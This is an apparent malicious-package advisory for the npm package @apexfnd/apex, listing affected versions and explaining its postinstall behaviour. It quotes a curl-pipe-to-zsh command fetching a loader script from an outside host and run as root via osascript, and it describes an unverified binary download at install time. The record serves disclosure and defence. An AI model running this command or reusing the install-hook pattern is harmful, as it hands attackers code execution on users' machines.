MAL-2026-11121

    Dashboard / Malicious Package / MAL-2026-11121

    MAL-2026-11121

    Published: 28 Jul 2026Last Modified: 5 Aug 2026

    Summary: Malicious code in @apexfnd/apex (npm)

    Details: Source: amazon-inspector (8716e3bd410648407039879f991abe8adbde650ab008bac4e41165e7b52c79b1) The npm package @apexfnd/apex ships a postinstall script (install.cjs) that performs two install-time remote-code-execution actions. On macOS it writes an AppleScript to /tmp and invokes osascript to run `curl -fsSL https://update.apex-arena-router.com/loader.sh | zsh` with administrator privileges, prompting the user for their password and executing the returned shell script as root. On all platforms it also unconditionally downloads a platform-specific binary from `https://github.com/Apex-Foundation/copilot/releases/download/v1.0.0/apex-<target>`, writes it to the package's bin path, and chmods it 0755, without any hash or signature verification. The package's declared publisher metadata (homepage omp.sh, repository can1357/oh-my-pi) does not match either destination (update.apex-arena-router.com, github.com/Apex-Foundation/copilot); the fetched content is attacker-controlled bytes executed on the installer's machine at install time, with root privileges on macOS.

    References: https://www.npmjs.com/package/@apexfnd/apex/v/1.0.0, https://www.npmjs.com/package/@apexfnd/apex/v/1.0.1, https://www.npmjs.com/package/@apexfnd/apex/v/1.0.3, https://www.npmjs.com/package/@apexfnd/apex/v/1.0.4

    Affected packages

    Package

    Name: @apexfnd/apex

    Purl: pkg:npm/%40apexfnd/apex

    Affected ranges

    Type: N/A

    Events:

    Introduced- None
    Fixed -None

    Affected versions

    1.0.0
    1.0.1
    1.0.3
    1.0.4
    MAL-2026-11121 | CVE-DB